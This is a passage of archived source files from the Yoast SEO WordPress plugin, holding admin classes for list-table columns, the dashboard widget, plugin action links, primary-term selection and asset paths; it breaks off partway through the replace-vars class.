		add_action( 'load-edit.php', [ $this, 'add_help_tab' ] );
	}

	/**
	 * Adds the help tab to the help center for current screen.
	 *
	 * @return void
	 */
	public function add_help_tab() {
		$link_columns_present = $this->display_links();
		$meta_columns_present = $this->display_meta_columns();
		if ( ! ( $link_columns_present || $meta_columns_present ) ) {
			return;
		}

		$help_tab_content = sprintf(
			/* translators: %1$s: Yoast SEO */
			__( '%1$s adds several columns to this page.', 'wordpress-seo' ),
			'Yoast SEO'
		);

		if ( $meta_columns_present ) {
			$help_tab_content .= ' ' . sprintf(
				/* translators: %1$s: Link to article about content analysis, %2$s: Anchor closing */
				__( 'We\'ve written an article about %1$show to use the SEO score and Readability score%2$s.', 'wordpress-seo' ),
				'<a href="' . WPSEO_Shortlinker::get( 'https://yoa.st/16p' ) . '">',
				'</a>'
			);
		}

		if ( $link_columns_present ) {
			$help_tab_content .= ' ' . sprintf(
				/* translators: %1$s: Link to article about text links, %2$s: Anchor closing tag, %3$s: Emphasis open tag, %4$s: Emphasis close tag */
				__( 'The links columns show the number of articles on this site linking %3$sto%4$s this article and the number of URLs linked %3$sfrom%4$s this article. Learn more about %1$show to use these features to improve your internal linking%2$s, which greatly enhances your SEO.', 'wordpress-seo' ),
				'<a href="' . WPSEO_Shortlinker::get( 'https://yoa.st/16p' ) . '">',
				'</a>',
				'<em>',
				'</em>'
			);
		}

		$screen = get_current_screen();
		$screen->add_help_tab(
			[
				/* translators: %s expands to Yoast */
				'title'    => sprintf( __( '%s Columns', 'wordpress-seo' ), 'Yoast' ),
				'id'       => 'yst-columns',
				'content'  => '<p>' . $help_tab_content . '</p>',
				'priority' => 15,
			]
		);
	}

	/**
	 * Retrieves the post type from the $_GET variable.
	 *
	 * @return string The current post type.
	 */
	private function get_current_post_type() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['post_type'] ) && is_string( $_GET['post_type'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			return sanitize_text_field( wp_unslash( $_GET['post_type'] ) );
		}
		return '';
	}

	/**
	 * Whether we are showing link columns on this overview page.
	 * This depends on the post being accessible or not.
	 *
	 * @return bool Whether the linking columns are shown
	 */
	private function display_links() {
		$current_post_type = $this->get_current_post_type();

		if ( empty( $current_post_type ) ) {
			return false;
		}

		return WPSEO_Post_Type::is_post_type_accessible( $current_post_type );
	}

	/**
	 * Wraps the WPSEO_Metabox check to determine whether the metabox should be displayed either by
	 * choice of the admin or because the post type is not a public post type.
	 *
	 * @return bool Whether the meta box (and associated columns etc) should be hidden.
	 */
	private function display_meta_columns() {
		$current_post_type = $this->get_current_post_type();

		if ( empty( $current_post_type ) ) {
			return false;
		}

		return WPSEO_Utils::is_metabox_active( $current_post_type, 'post_type' );
	}
}
wordpress-seo/admin/class-yoast-dashboard-widget.php000064400000007727147510273110016647 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Class to change or add WordPress dashboard widgets.
 */
class Yoast_Dashboard_Widget implements WPSEO_WordPress_Integration {

	/**
	 * Holds the cache transient key.
	 *
	 * @var string
	 */
	public const CACHE_TRANSIENT_KEY = 'wpseo-dashboard-totals';

	/**
	 * Holds an instance of the admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * Holds the dashboard statistics.
	 *
	 * @var WPSEO_Statistics
	 */
	protected $statistics;

	/**
	 * Yoast_Dashboard_Widget constructor.
	 *
	 * @param WPSEO_Statistics|null $statistics WPSEO_Statistics instance.
	 */
	public function __construct( ?WPSEO_Statistics $statistics = null ) {
		if ( $statistics === null ) {
			$statistics = new WPSEO_Statistics();
		}

		$this->statistics    = $statistics;
		$this->asset_manager = new WPSEO_Admin_Asset_Manager();
	}

	/**
	 * Register WordPress hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_dashboard_assets' ] );
		add_action( 'admin_init', [ $this, 'queue_dashboard_widget' ] );
	}

	/**
	 * Adds the dashboard widget if it should be shown.
	 *
	 * @return void
	 */
	public function queue_dashboard_widget() {
		if ( $this->show_widget() ) {
			add_action( 'wp_dashboard_setup', [ $this, 'add_dashboard_widget' ] );
		}
	}

	/**
	 * Adds dashboard widget to WordPress.
	 *
	 * @return void
	 */
	public function add_dashboard_widget() {
		add_filter( 'postbox_classes_dashboard_wpseo-dashboard-overview', [ $this, 'wpseo_dashboard_overview_class' ] );
		wp_add_dashboard_widget(
			'wpseo-dashboard-overview',
			/* translators: %s is the plugin name */
			sprintf( __( '%s Posts Overview', 'wordpress-seo' ), 'Yoast SEO' ),
			[ $this, 'display_dashboard_widget' ]
		);
	}

	/**
	 * Adds CSS classes to the dashboard widget.
	 *
	 * @param array $classes An array of postbox CSS classes.
	 *
	 * @return array
	 */
	public function wpseo_dashboard_overview_class( $classes ) {
		$classes[] = 'yoast wpseo-dashboard-overview';
		return $classes;
	}

	/**
	 * Displays the dashboard widget.
	 *
	 * @return void
	 */
	public function display_dashboard_widget() {
		echo '<div id="yoast-seo-dashboard-widget"></div>';
	}

	/**
	 * Enqueues assets for the dashboard if the current page is the dashboard.
	 *
	 * @return void
	 */
	public function enqueue_dashboard_assets() {
		if ( ! $this->is_dashboard_screen() ) {
			return;
		}

		$this->asset_manager->localize_script( 'dashboard-widget', 'wpseoDashboardWidgetL10n', $this->localize_dashboard_script() );
		$this->asset_manager->enqueue_script( 'dashboard-widget' );
		$this->asset_manager->enqueue_style( 'wp-dashboard' );
		$this->asset_manager->enqueue_style( 'monorepo' );
	}

	/**
	 * Translates strings used in the dashboard widget.
	 *
	 * @return array The translated strings.
	 */
	public function localize_dashboard_script() {
		return [
			'feed_header'          => sprintf(
				/* translators: %1$s resolves to Yoast.com */
				__( 'Latest blog posts on %1$s', 'wordpress-seo' ),
				'Yoast.com'
			),
			'feed_footer'          => __( 'Read more like this on our SEO blog', 'wordpress-seo' ),
			'wp_version'           => substr( $GLOBALS['wp_version'], 0, 3 ) . '-' . ( is_plugin_active( 'classic-editor/classic-editor.php' ) ? '1' : '0' ),
			'php_version'          => PHP_MAJOR_VERSION . '.' . PHP_MINOR_VERSION,
		];
	}

	/**
	 * Checks if the current screen is the dashboard screen.
	 *
	 * @return bool Whether or not this is the dashboard screen.
	 */
	private function is_dashboard_screen() {
		$current_screen = get_current_screen();

		return ( $current_screen instanceof WP_Screen && $current_screen->id === 'dashboard' );
	}

	/**
	 * Returns true when the dashboard widget should be shown.
	 *
	 * @return bool
	 */
	private function show_widget() {
		$analysis_seo = new WPSEO_Metabox_Analysis_SEO();

		return $analysis_seo->is_enabled() && current_user_can( 'edit_posts' );
	}
}
wordpress-seo/admin/class-admin.php000064400000032207147510273110013361 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

use Yoast\WP\SEO\Integrations\Settings_Integration;

/**
 * Class that holds most of the admin functionality for Yoast SEO.
 */
class WPSEO_Admin {

	/**
	 * The page identifier used in WordPress to register the admin page.
	 *
	 * !DO NOT CHANGE THIS!
	 *
	 * @var string
	 */
	public const PAGE_IDENTIFIER = 'wpseo_dashboard';

	/**
	 * Array of classes that add admin functionality.
	 *
	 * @var array
	 */
	protected $admin_features;

	/**
	 * Class constructor.
	 */
	public function __construct() {
		$integrations = [];

		global $pagenow;

		$wpseo_menu = new WPSEO_Menu();
		$wpseo_menu->register_hooks();

		if ( is_multisite() ) {
			WPSEO_Options::maybe_set_multisite_defaults( false );
		}

		add_action( 'created_category', [ $this, 'schedule_rewrite_flush' ] );
		add_action( 'edited_category', [ $this, 'schedule_rewrite_flush' ] );
		add_action( 'delete_category', [ $this, 'schedule_rewrite_flush' ] );

		add_filter( 'wpseo_accessible_post_types', [ 'WPSEO_Post_Type', 'filter_attachment_post_type' ] );

		add_filter( 'plugin_action_links_' . WPSEO_BASENAME, [ $this, 'add_action_link' ], 10, 2 );
		add_filter( 'network_admin_plugin_action_links_' . WPSEO_BASENAME, [ $this, 'add_action_link' ], 10, 2 );

		add_action( 'admin_enqueue_scripts', [ $this, 'config_page_scripts' ] );
		add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_global_style' ] );

		add_action( 'after_switch_theme', [ $this, 'switch_theme' ] );
		add_action( 'switch_theme', [ $this, 'switch_theme' ] );

		add_filter( 'set-screen-option', [ $this, 'save_bulk_edit_options' ], 10, 3 );

		add_action( 'admin_init', [ 'WPSEO_Plugin_Conflict', 'hook_check_for_plugin_conflicts' ], 10, 1 );

		add_action( 'admin_init', [ $this, 'map_manage_options_cap' ] );

		WPSEO_Sitemaps_Cache::register_clear_on_option_update( 'wpseo' );
		WPSEO_Sitemaps_Cache::register_clear_on_option_update( 'home' );

		if ( YoastSEO()->helpers->current_page->is_yoast_seo_page() ) {
			add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
		}

		$this->initialize_cornerstone_content();

		if ( WPSEO_Utils::is_plugin_network_active() ) {
			$integrations[] = new Yoast_Network_Admin();
		}

		$this->admin_features = [
			'dashboard_widget'         => new Yoast_Dashboard_Widget(),
			'wincher_dashboard_widget' => new Wincher_Dashboard_Widget(),
		];

		if ( WPSEO_Metabox::is_post_overview( $pagenow ) || WPSEO_Metabox::is_post_edit( $pagenow ) ) {
			$this->admin_features['primary_category'] = new WPSEO_Primary_Term_Admin();
		}

		$integrations[] = new WPSEO_Yoast_Columns();
		$integrations[] = new WPSEO_Statistic_Integration();
		$integrations[] = new WPSEO_Capability_Manager_Integration( WPSEO_Capability_Manager_Factory::get() );
		$integrations[] = new WPSEO_Admin_Gutenberg_Compatibility_Notification();
		$integrations[] = new WPSEO_Expose_Shortlinks();
		$integrations[] = new WPSEO_MyYoast_Proxy();
		$integrations[] = new WPSEO_Schema_Person_Upgrade_Notification();
		$integrations[] = new WPSEO_Tracking( 'https://tracking.yoast.com/stats', ( WEEK_IN_SECONDS * 2 ) );
		$integrations[] = new WPSEO_Admin_Settings_Changed_Listener();

		$integrations = array_merge(
			$integrations,
			$this->get_admin_features(),
			$this->initialize_cornerstone_content()
		);

		foreach ( $integrations as $integration ) {
			$integration->register_hooks();
		}
	}

	/**
	 * Schedules a rewrite flush to happen at shutdown.
	 *
	 * @return void
	 */
	public function schedule_rewrite_flush() {
		if ( WPSEO_Options::get( 'stripcategorybase' ) !== true ) {
			return;
		}

		// Bail if this is a multisite installation and the site has been switched.
		if ( is_multisite() && ms_is_switched() ) {
			return;
		}

		add_action( 'shutdown', 'flush_rewrite_rules' );
	}

	/**
	 * Returns all the classes for the admin features.
	 *
	 * @return array
	 */
	public function get_admin_features() {
		return $this->admin_features;
	}

	/**
	 * Register assets needed on admin pages.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form data.
		$page = isset( $_GET['page'] ) && is_string( $_GET['page'] ) ? sanitize_text_field( wp_unslash( $_GET['page'] ) ) : '';
		if ( $page === 'wpseo_licenses' ) {
			$asset_manager = new WPSEO_Admin_Asset_Manager();
			$asset_manager->enqueue_style( 'extensions' );
		}
	}

	/**
	 * Returns the manage_options capability.
	 *
	 * @return string The capability to use.
	 */
	public function get_manage_options_cap() {
		/**
		 * Filter: 'wpseo_manage_options_capability' - Allow changing the capability users need to view the settings pages.
		 *
		 * @param string $capability The capability.
		 */
		return apply_filters( 'wpseo_manage_options_capability', 'wpseo_manage_options' );
	}

	/**
	 * Maps the manage_options cap on saving an options page to wpseo_manage_options.
	 *
	 * @return void
	 */
	public function map_manage_options_cap() {
		// phpcs:ignore WordPress.Security -- The variable is only used in strpos and thus safe to not unslash or sanitize.
		$option_page = ! empty( $_POST['option_page'] ) ? $_POST['option_page'] : '';

		if ( strpos( $option_page, 'yoast_wpseo' ) === 0 || strpos( $option_page, Settings_Integration::PAGE ) === 0 ) {
			add_filter( 'option_page_capability_' . $option_page, [ $this, 'get_manage_options_cap' ] );
		}
	}

	/**
	 * Adds the ability to choose how many posts are displayed per page
	 * on the bulk edit pages.
	 *
	 * @return void
	 */
	public function bulk_edit_options() {
		$option = 'per_page';
		$args   = [
			'label'   => __( 'Posts', 'wordpress-seo' ),
			'default' => 10,
			'option'  => 'wpseo_posts_per_page',
		];
		add_screen_option( $option, $args );
	}

	/**
	 * Saves the posts per page limit for bulk edit pages.
	 *
	 * @param int    $status Status value to pass through.
	 * @param string $option Option name.
	 * @param int    $value  Count value to check.
	 *
	 * @return int
	 */
	public function save_bulk_edit_options( $status, $option, $value ) {
		if ( $option && ( $value > 0 && $value < 1000 ) === 'wpseo_posts_per_page' ) {
			return $value;
		}

		return $status;
	}

	/**
	 * Adds links to Premium Support and FAQ under the plugin in the plugin overview page.
	 *
	 * @param array  $links Array of links for the plugins, adapted when the current plugin is found.
	 * @param string $file  The filename for the current plugin, which the filter loops through.
	 *
	 * @return array
	 */
	public function add_action_link( $links, $file ) {
		$first_time_configuration_notice_helper = YoastSEO()->helpers->first_time_configuration_notice;

		if ( $file === WPSEO_BASENAME && WPSEO_Capability_Utils::current_user_can( 'wpseo_manage_options' ) ) {
			if ( is_network_admin() ) {
				$settings_url = network_admin_url( 'admin.php?page=' . self::PAGE_IDENTIFIER );
			}
			else {
				$settings_url = admin_url( 'admin.php?page=' . self::PAGE_IDENTIFIER );
			}
			$settings_link = '<a href="' . esc_url( $settings_url ) . '">' . __( 'Settings', 'wordpress-seo' ) . '</a>';
			array_unshift( $links, $settings_link );
		}

		// Add link to docs.
		$faq_link = '<a href="' . esc_url( WPSEO_Shortlinker::get( 'https://yoa.st/1yc' ) ) . '" target="_blank">' . __( 'FAQ', 'wordpress-seo' ) . '</a>';
		array_unshift( $links, $faq_link );

		if ( $first_time_configuration_notice_helper->first_time_configuration_not_finished() && ! is_network_admin() ) {
			$configuration_title = ( ! $first_time_configuration_notice_helper->should_show_alternate_message() ) ? 'first-time configuration' : 'SEO configuration';
			/* translators: CTA to finish the first time configuration. %s: Either first-time SEO configuration or SEO configuration. */
			$message  = sprintf( __( 'Finish your %s', 'wordpress-seo' ), $configuration_title );
			$ftc_page = 'admin.php?page=wpseo_dashboard#/first-time-configuration';
			$ftc_link = '<a href="' . esc_url( admin_url( $ftc_page ) ) . '" target="_blank">' . $message . '</a>';
			array_unshift( $links, $ftc_link );
		}

		$addon_manager = new WPSEO_Addon_Manager();
		if ( YoastSEO()->helpers->product->is_premium() ) {

			// Remove Free 'deactivate' link if Premium is active as well. We don't want users to deactivate Free when Premium is active.
			unset( $links['deactivate'] );
			$no_deactivation_explanation = '<span style="color: #32373c">' . sprintf(
				/* translators: %s expands to Yoast SEO Premium. */
				__( 'Required by %s', 'wordpress-seo' ),
				'Yoast SEO Premium'
			) . '</span>';

			array_unshift( $links, $no_deactivation_explanation );

			if ( $addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG ) ) {
				return $links;
			}

			// Add link to where premium can be activated.
			$activation_link = '<a style="font-weight: bold;" href="' . esc_url( WPSEO_Shortlinker::get( 'https://yoa.st/activate-my-yoast' ) ) . '" target="_blank">' . __( 'Activate your subscription', 'wordpress-seo' ) . '</a>';
			array_unshift( $links, $activation_link );

			return $links;
		}

		// Add link to premium landing page.
		$premium_link = '<a style="font-weight: bold;" href="' . esc_url( WPSEO_Shortlinker::get( 'https://yoa.st/1yb' ) ) . '" target="_blank" data-action="load-nfd-ctb" data-ctb-id="f6a84663-465f-4cb5-8ba5-f7a6d72224b2">' . __( 'Get Premium', 'wordpress-seo' ) . '</a>';
		array_unshift( $links, $premium_link );

		return $links;
	}

	/**
	 * Enqueues the (tiny) global JS needed for the plugin.
	 *
	 * @return void
	 */
	public function config_page_scripts() {
		$asset_manager = new WPSEO_Admin_Asset_Manager();
		$asset_manager->enqueue_script( 'admin-global' );
		$asset_manager->localize_script( 'admin-global', 'wpseoAdminGlobalL10n', $this->localize_admin_global_script() );
	}

	/**
	 * Enqueues the (tiny) global stylesheet needed for the plugin.
	 *
	 * @return void
	 */
	public function enqueue_global_style() {
		$asset_manager = new WPSEO_Admin_Asset_Manager();
		$asset_manager->enqueue_style( 'admin-global' );
	}

	/**
	 * Filter the $contactmethods array and add a set of social profiles.
	 *
	 * These are used with the Facebook author, rel="author" and Twitter cards implementation.
	 *
	 * @deprecated 22.6
	 * @codeCoverageIgnore
	 *
	 * @param array<string, string> $contactmethods Currently set contactmethods.
	 *
	 * @return array<string, string> Contactmethods with added contactmethods.
	 */
	public function update_contactmethods( $contactmethods ) {
		_deprecated_function( __METHOD__, 'Yoast SEO 22.6' );

		$contactmethods['facebook']   = __( 'Facebook profile URL', 'wordpress-seo' );
		$contactmethods['instagram']  = __( 'Instagram profile URL', 'wordpress-seo' );
		$contactmethods['linkedin']   = __( 'LinkedIn profile URL', 'wordpress-seo' );
		$contactmethods['myspace']    = __( 'MySpace profile URL', 'wordpress-seo' );
		$contactmethods['pinterest']  = __( 'Pinterest profile URL', 'wordpress-seo' );
		$contactmethods['soundcloud'] = __( 'SoundCloud profile URL', 'wordpress-seo' );
		$contactmethods['tumblr']     = __( 'Tumblr profile URL', 'wordpress-seo' );
		$contactmethods['twitter']    = __( 'X username (without @)', 'wordpress-seo' );
		$contactmethods['youtube']    = __( 'YouTube profile URL', 'wordpress-seo' );
		$contactmethods['wikipedia']  = __( 'Wikipedia page about you', 'wordpress-seo' ) . '<br/><small>' . __( '(if one exists)', 'wordpress-seo' ) . '</small>';

		return $contactmethods;
	}

	/**
	 * Log the updated timestamp for user profiles when theme is changed.
	 *
	 * @return void
	 */
	public function switch_theme() {

		$users = get_users( [ 'capability' => [ 'edit_posts' ] ] );

		if ( is_array( $users ) && $users !== [] ) {
			foreach ( $users as $user ) {
				update_user_meta( $user->ID, '_yoast_wpseo_profile_updated', time() );
			}
		}
	}

	/**
	 * Localization for the dismiss urls.
	 *
	 * @return array
	 */
	private function localize_admin_global_script() {
		return array_merge(
			[
				'isRtl'                   => is_rtl(),
				'variable_warning'        => sprintf(
				/* translators: %1$s: '%%term_title%%' variable used in titles and meta's template that's not compatible with the given template, %2$s: expands to 'HelpScout beacon' */
					__( 'Warning: the variable %1$s cannot be used in this template. See the %2$s for more info.', 'wordpress-seo' ),
					'<code>%s</code>',
					'HelpScout beacon'
				),
				/* translators: %s: expends to Yoast SEO */
				'help_video_iframe_title' => sprintf( __( '%s video tutorial', 'wordpress-seo' ), 'Yoast SEO' ),
				'scrollable_table_hint'   => __( 'Scroll to see the table content.', 'wordpress-seo' ),
				'wincher_is_logged_in'    => WPSEO_Options::get( 'wincher_integration_active', true ) ? YoastSEO()->helpers->wincher->login_status() : false,
			],
			YoastSEO()->helpers->wincher->get_admin_global_links()
		);
	}

	/**
	 * Whether we are on the admin dashboard page.
	 *
	 * @return bool
	 */
	protected function on_dashboard_page() {
		return $GLOBALS['pagenow'] === 'index.php';
	}

	/**
	 * Loads the cornerstone filter.
	 *
	 * @return WPSEO_WordPress_Integration[] The integrations to initialize.
	 */
	protected function initialize_cornerstone_content() {
		if ( ! WPSEO_Options::get( 'enable_cornerstone_content' ) ) {
			return [];
		}

		return [
			'cornerstone_filter' => new WPSEO_Cornerstone_Filter(),
		];
	}
}
wordpress-seo/admin/class-primary-term-admin.php000064400000016544147510273110016015 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Adds the UI to change the primary term for a post.
 */
class WPSEO_Primary_Term_Admin implements WPSEO_WordPress_Integration {

	/**
	 * Constructor.
	 *
	 * @return void
	 */
	public function register_hooks() {
		add_filter( 'wpseo_content_meta_section_content', [ $this, 'add_input_fields' ] );

		add_action( 'admin_footer', [ $this, 'wp_footer' ], 10 );

		add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
	}

	/**
	 * Gets the current post ID.
	 *
	 * @return int The post ID.
	 */
	protected function get_current_id() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, We are casting to an integer.
		$post_id = isset( $_GET['post'] ) && is_string( $_GET['post'] ) ? (int) wp_unslash( $_GET['post'] ) : 0;

		if ( $post_id === 0 && isset( $GLOBALS['post_ID'] ) ) {
			$post_id = (int) $GLOBALS['post_ID'];
		}

		return $post_id;
	}

	/**
	 * Adds hidden fields for primary taxonomies.
	 *
	 * @param string $content The metabox content.
	 *
	 * @return string The HTML content.
	 */
	public function add_input_fields( $content ) {
		$taxonomies = $this->get_primary_term_taxonomies();

		foreach ( $taxonomies as $taxonomy ) {
			$content .= $this->primary_term_field( $taxonomy->name );
			$content .= wp_nonce_field( 'save-primary-term', WPSEO_Meta::$form_prefix . 'primary_' . $taxonomy->name . '_nonce', false, false );
		}
		return $content;
	}

	/**
	 * Generates the HTML for a hidden field for a primary taxonomy.
	 *
	 * @param string $taxonomy_name The taxonomy's slug.
	 *
	 * @return string The HTML for a hidden primary taxonomy field.
	 */
	protected function primary_term_field( $taxonomy_name ) {
		return sprintf(
			'<input class="yoast-wpseo-primary-term" type="hidden" id="%1$s" name="%2$s" value="%3$s" />',
			esc_attr( $this->generate_field_id( $taxonomy_name ) ),
			esc_attr( $this->generate_field_name( $taxonomy_name ) ),
			esc_attr( $this->get_primary_term( $taxonomy_name ) )
		);
	}

	/**
	 * Generates an id for a primary taxonomy's hidden field.
	 *
	 * @param string $taxonomy_name The taxonomy's slug.
	 *
	 * @return string The field id.
	 */
	protected function generate_field_id( $taxonomy_name ) {
		return 'yoast-wpseo-primary-' . $taxonomy_name;
	}

	/**
	 * Generates a name for a primary taxonomy's hidden field.
	 *
	 * @param string $taxonomy_name The taxonomy's slug.
	 *
	 * @return string The field id.
	 */
	protected function generate_field_name( $taxonomy_name ) {
		return WPSEO_Meta::$form_prefix . 'primary_' . $taxonomy_name . '_term';
	}

	/**
	 * Adds primary term templates.
	 *
	 * @return void
	 */
	public function wp_footer() {
		$taxonomies = $this->get_primary_term_taxonomies();

		if ( ! empty( $taxonomies ) ) {
			$this->include_js_templates();
		}
	}

	/**
	 * Enqueues all the assets needed for the primary term interface.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		global $pagenow;

		if ( ! WPSEO_Metabox::is_post_edit( $pagenow ) ) {
			return;
		}

		$taxonomies = $this->get_primary_term_taxonomies();

		// Only enqueue if there are taxonomies that need a primary term.
		if ( empty( $taxonomies ) ) {
			return;
		}

		$asset_manager = new WPSEO_Admin_Asset_Manager();
		$asset_manager->enqueue_style( 'primary-category' );

		$mapped_taxonomies = $this->get_mapped_taxonomies_for_js( $taxonomies );

		$data = [
			'taxonomies' => $mapped_taxonomies,
		];

		$asset_manager->localize_script( 'post-edit', 'wpseoPrimaryCategoryL10n', $data );
		$asset_manager->localize_script( 'post-edit-classic', 'wpseoPrimaryCategoryL10n', $data );
	}

	/**
	 * Gets the id of the primary term.
	 *
	 * @param string $taxonomy_name Taxonomy name for the term.
	 *
	 * @return int primary term id
	 */
	protected function get_primary_term( $taxonomy_name ) {
		$primary_term = new WPSEO_Primary_Term( $taxonomy_name, $this->get_current_id() );

		return $primary_term->get_primary_term();
	}

	/**
	 * Returns all the taxonomies for which the primary term selection is enabled.
	 *
	 * @param int|null $post_id Default current post ID.
	 * @return array
	 */
	protected function get_primary_term_taxonomies( $post_id = null ) {
		if ( $post_id === null ) {
			$post_id = $this->get_current_id();
		}

		$taxonomies = wp_cache_get( 'primary_term_taxonomies_' . $post_id, 'wpseo' );
		if ( $taxonomies !== false ) {
			return $taxonomies;
		}

		$taxonomies = $this->generate_primary_term_taxonomies( $post_id );

		wp_cache_set( 'primary_term_taxonomies_' . $post_id, $taxonomies, 'wpseo' );

		return $taxonomies;
	}

	/**
	 * Includes templates file.
	 *
	 * @return void
	 */
	protected function include_js_templates() {
		include_once WPSEO_PATH . 'admin/views/js-templates-primary-term.php';
	}

	/**
	 * Generates the primary term taxonomies.
	 *
	 * @param int $post_id ID of the post.
	 *
	 * @return array
	 */
	protected function generate_primary_term_taxonomies( $post_id ) {
		$post_type      = get_post_type( $post_id );
		$all_taxonomies = get_object_taxonomies( $post_type, 'objects' );
		$all_taxonomies = array_filter( $all_taxonomies, [ $this, 'filter_hierarchical_taxonomies' ] );

		/**
		 * Filters which taxonomies for which the user can choose the primary term.
		 *
		 * @param array  $taxonomies     An array of taxonomy objects that are primary_term enabled.
		 * @param string $post_type      The post type for which to filter the taxonomies.
		 * @param array  $all_taxonomies All taxonomies for this post types, even ones that don't have primary term
		 *                               enabled.
		 */
		$taxonomies = (array) apply_filters( 'wpseo_primary_term_taxonomies', $all_taxonomies, $post_type, $all_taxonomies );

		return $taxonomies;
	}

	/**
	 * Creates a map of taxonomies for localization.
	 *
	 * @param array $taxonomies The taxononmies that should be mapped.
	 *
	 * @return array The mapped taxonomies.
	 */
	protected function get_mapped_taxonomies_for_js( $taxonomies ) {
		return array_map( [ $this, 'map_taxonomies_for_js' ], $taxonomies );
	}

	/**
	 * Returns an array suitable for use in the javascript.
	 *
	 * @param stdClass $taxonomy The taxonomy to map.
	 *
	 * @return array The mapped taxonomy.
	 */
	private function map_taxonomies_for_js( $taxonomy ) {
		$primary_term = $this->get_primary_term( $taxonomy->name );

		if ( empty( $primary_term ) ) {
			$primary_term = '';
		}

		$terms = get_terms(
			[
				'taxonomy'               => $taxonomy->name,
				'update_term_meta_cache' => false,
				'fields'                 => 'id=>name',
			]
		);

		$mapped_terms_for_js = [];
		foreach ( $terms as $id => $name ) {
			$mapped_terms_for_js[] = [
				'id'   => $id,
				'name' => $name,
			];
		}

		return [
			'title'         => $taxonomy->labels->singular_name,
			'name'          => $taxonomy->name,
			'primary'       => $primary_term,
			'singularLabel' => $taxonomy->labels->singular_name,
			'fieldId'       => $this->generate_field_id( $taxonomy->name ),
			'restBase'      => ( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name,
			'terms'         => $mapped_terms_for_js,
		];
	}

	/**
	 * Returns whether or not a taxonomy is hierarchical.
	 *
	 * @param stdClass $taxonomy Taxonomy object.
	 *
	 * @return bool
	 */
	private function filter_hierarchical_taxonomies( $taxonomy ) {
		return (bool) $taxonomy->hierarchical;
	}
}
wordpress-seo/admin/class-collector.php000064400000001755147510273110014263 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Collects the data from the added collection objects.
 */
class WPSEO_Collector {

	/**
	 * Holds the collections.
	 *
	 * @var WPSEO_Collection[]
	 */
	protected $collections = [];

	/**
	 * Adds a collection object to the collections.
	 *
	 * @param WPSEO_Collection $collection The collection object to add.
	 *
	 * @return void
	 */
	public function add_collection( WPSEO_Collection $collection ) {
		$this->collections[] = $collection;
	}

	/**
	 * Collects the data from the collection objects.
	 *
	 * @return array The collected data.
	 */
	public function collect() {
		$data = [];

		foreach ( $this->collections as $collection ) {
			$data = array_merge( $data, $collection->get() );
		}

		return $data;
	}

	/**
	 * Returns the collected data as a JSON encoded string.
	 *
	 * @return false|string The encode string.
	 */
	public function get_as_json() {
		return WPSEO_Utils::format_json_encode( $this->collect() );
	}
}
wordpress-seo/admin/class-admin-asset-seo-location.php000064400000004116147510273110017066 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Determines the location of an asset within the SEO plugin.
 */
final class WPSEO_Admin_Asset_SEO_Location implements WPSEO_Admin_Asset_Location {

	/**
	 * Path to the plugin file.
	 *
	 * @var string
	 */
	protected $plugin_file;

	/**
	 * Whether or not to add the file suffix to the asset.
	 *
	 * @var bool
	 */
	protected $add_suffix = true;

	/**
	 * The plugin file to base the asset location upon.
	 *
	 * @param string $plugin_file The plugin file string.
	 * @param bool   $add_suffix  Optional. Whether or not a file suffix should be added.
	 */
	public function __construct( $plugin_file, $add_suffix = true ) {
		$this->plugin_file = $plugin_file;
		$this->add_suffix  = $add_suffix;
	}

	/**
	 * Determines the URL of the asset on the dev server.
	 *
	 * @param WPSEO_Admin_Asset $asset The asset to determine the URL for.
	 * @param string            $type  The type of asset. Usually JS or CSS.
	 *
	 * @return string The URL of the asset.
	 */
	public function get_url( WPSEO_Admin_Asset $asset, $type ) {
		$path = $this->get_path( $asset, $type );
		if ( empty( $path ) ) {
			return '';
		}

		return plugins_url( $path, $this->plugin_file );
	}

	/**
	 * Determines the path relative to the plugin folder of an asset.
	 *
	 * @param WPSEO_Admin_Asset $asset The asset to determine the path for.
	 * @param string            $type  The type of asset.
	 *
	 * @return string The path to the asset file.
	 */
	protected function get_path( WPSEO_Admin_Asset $asset, $type ) {
		$relative_path = '';
		$rtl_suffix    = '';

		switch ( $type ) {
			case WPSEO_Admin_Asset::TYPE_JS:
				$relative_path = 'js/dist/' . $asset->get_src();
				if ( $this->add_suffix ) {
					$relative_path .= $asset->get_suffix() . '.js';
				}
				break;

			case WPSEO_Admin_Asset::TYPE_CSS:
				// Path and suffix for RTL stylesheets.
				if ( is_rtl() && $asset->has_rtl() ) {
					$rtl_suffix = '-rtl';
				}
				$relative_path = 'css/dist/' . $asset->get_src() . $rtl_suffix . $asset->get_suffix() . '.css';
				break;
		}

		return $relative_path;
	}
}
wordpress-seo/admin/class-admin-editor-specific-replace-vars.php000064400000014537147510273110021020 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Determines the editor specific replacement variables.
 */
class WPSEO_Admin_Editor_Specific_Replace_Vars {

	/**
	 * Holds the editor specific replacements variables.
	 *
	 * @var array The editor specific replacement variables.
	 */
	protected $replacement_variables = [
		// Posts types.
		'page'                     => [ 'id', 'pt_single', 'pt_plural', 'parent_title' ],
